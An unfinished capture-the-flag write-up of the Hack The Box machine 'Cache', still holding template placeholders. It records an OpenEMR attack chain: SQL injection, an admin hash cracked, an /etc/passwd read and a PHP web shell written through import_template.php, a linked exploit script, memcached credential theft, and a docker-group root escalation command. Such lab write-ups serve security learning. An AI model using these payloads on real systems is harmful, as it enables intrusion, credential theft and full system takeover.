HTB - Cache

needs revision and cleanup

Overview

Short description to include any strange things to be dealt with

Useful Skills and Tools

Useful thing 1

  • description with generic example

Useful thing 2

  • description with generic example

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.188. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.

http://10.10.10.188/contactus.html?firstname=test&lastname=test&country=australia&subject=%3Cscript%3Ealert%28%22test%22%29%3C%2Fscript%3E#

message submission results in url

nikto

login.html seems to be rabbit hole. Never attempts to actually send data.

bypassing the page by loading net.html seen in the source leads to "under construction" page.

found some credentials in the functionality.js file in the /jquery folder. ash:H@v3_fun This enabled me to login to the site, which I had already discovered to hold nothing useful. This password did not work for logging into SSH. I decided to try to use my cewl wordlist to see if I could enumerate a proper password now that I had a username. Nothing came back.

Next I tried enumerating subdomains using virtual host enumeration as described in the HTB machine Forwardslash

I wasn't sure if any of these were useful (or reachable, rather) so I loaded up a bunch of other wordlists to try again until I got something that looked useful.

All of these 400 errors were somewhat promising since those sites seem to exist but my requests to them aren't correct.

--hh 8193 filters out replies that are 8193 chars long, which was what it replied for pretty much everything, even if it didn't exist.

add to hosts navigating to http://hms.htb redirects to a login page at http://hms.htb/interface/login/login.php?site=default the creds from the previous site do not work here

https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69 download script from https://github.com/musyoka101/OpenEMR-5.0.1-Remote-Code-execution-Vulnerability-Exploit/blob/master/openemr_exploit.py

https://labs.bishopfox.com/advisories/openemr-5-0-16-remote-code-execution-cross-site-scripting#Arbitrary

ran dirbuster: shows admin.php

which shows the version of this site. (5.0.1(3)) Searching for a vulnerability for this site leads to CVE-2019-8371 https://www.cvedetails.com/cve/CVE-2019-8371/

There is also a vulnerability report that I found that deals with this specific version (5.0.1.3). https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf This report details admin.php=unauthenticated user will be prompted with the database name, the site ID as well as the current version of OpenEMR.

sql_patch.php=reveals current patch level "OpenEMR Version = 5.0.1(3)"

Since the patient portal didnt seem to reveal any useful information, I moved on to the next section, SQL injection. The first example sounded interesting, because combined with the patient portal bypass, I could use the authenticated SQLi vulnerability.

system_user() gets openemr@localhost database() gets openemr

using sqldump on database openemr gets crapton of tables...

Next I dumped the user_secure table because that sounded quite promising. I also tried dumping other interesting sounding tables such as notes and users_facility but they were empty.

insert table data

The table contained information about a openemr_admin user, including a bcrypt hashed password. I loaded the hash into hashcat and it cracked almost imediately.

This was one lazy admin. The password was xxxxxx.

can edit files in /var/www/hms.htb/public_html/sites/default

according to vulnerability report pdf can read and write arbitrary files on the filesystem with:

  • mode=get&docid=/etc/passwd

  • mode=save&docid=rce.php&content=<?php phpinfo();?>

    on the page /portal/import_template.php

Got /etc/passwd, can see that luffy, ash, and root are the only users that can log in. Played around with running commands with a simple shell, then remembered that I had downloaded a python exploit that required authentication to the portal to work. mode=save&docid=rce.php&content=<?php system($_GET["evil"]); ?>

Now that I had valid credentials to the portal, I could use exploit.py from earlier POC - modified a bit to work in this situation. After taking a bit to upload the file, a shell was returned to me

Initial Foothold

ran the exploit

then in my other terminal

Road to User

already had ash password

Further enumeration

Finding user creds

User.txt

Path to Power (Gaining Administrator Access)

Enumeration as User

in sql/official_additional_users.sql phimail-service portal-user

/sites/default/sqlconf.php

openemr:3open6emr9 unfortunately this password does not work for ash or luffy; logs into mysql

linpeas

$2y$04$usesomesillystringfore7hnbRJHxXVLeakoG8K30oukPsA.ztMG = bcrypt hash for "password" bcb04b7e103a0cd8b54763051cef08bc55abe029fdebae5e1d417e2ffb2a00a3

in file: /var/www/hms.htb/public_html/custom/export_labworks.php found openemr:secret creds for ftp

there is docker running on ip 172.17.0.1

/var/www/hms.htb/public_html/docker-compose.yml contains info about all the different databases: root password = root; couchdb = admin:password

Getting a shell

Saw memcached in running processes with ps aux. didn't have much experience with it before so I started doing some reading to see if there were any privesc routes by using it. It was running on default port 11211. It also stuck out a bit to me because of the cache theme on the box!

https://book.hacktricks.xyz/pentesting/11211-memcache memcached ash@cache:/dev/shm$ echo "version" | nc -vn 127.0.0.1 11211 Connection to 127.0.0.1 11211 port [tcp/*] succeeded! VERSION 1.5.6 Ubuntu

echoing a command to the service running seemed a bit awkward, so I tried running the command like memcached stats. It seemed to be doing something, but waited for a long time. I did some more reading and found that you could use telnet to interact with it. (I should have tried that on my own...if nc can interact then ssh and telnet should be able to...)

https://niiconsulting.com/checkmate/2013/05/memcache-exploit/ https://www.hackingarticles.in/penetration-testing-on-memcached-server/

using luffy:0n3_p1ec3 was able to ssh in as luffy!

Enumeration as luffy

Hmm docker...I saw that running on 172.17.0.1 earlier but wasnt able to connect. Using luffy's creds however I was able to SSH in to the docker container. confusingly...the docker container was also named cache so at first it looked like I had just logged back into the same machine.

https://gtfobins.github.io/gtfobins/docker/

This requires the user to be privileged enough to run docker, i.e. being in the docker group docker run -v /:/mnt --rm -it --privileged alpine chroot /mnt sh from the man page

  • Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG...]

  • -i, --interactive Keep STDIN open even if not attached

  • -t, --tty Allocate a pseudo-TTY

  • -v, --volume list Bind mount a volume

  • --rm Automatically remove the container when it exits

https://docs.docker.com/engine/reference/commandline/

None of the pages I looked at explained the 'alpine' part of the command, but it looked like the name of the docker image. after trying cache and getting an error, I looked in the man page for how to get the image name and came up with docker images. The name of this docker container was 2ca708c1c9cc. Now I could run my command to escalate to root. docker run -v /:/mnt --rm -it --privileged 2ca708c1c9cc chroot /mnt sh

Root.txt

Thanks to <box_creator> for something interesting or useful about this machine.

If you like this content and would like to see more, please consider buying me a coffee!

PreviousHTB - MagicNextHTB - SneakyMailer

Last updated

Was this helpful?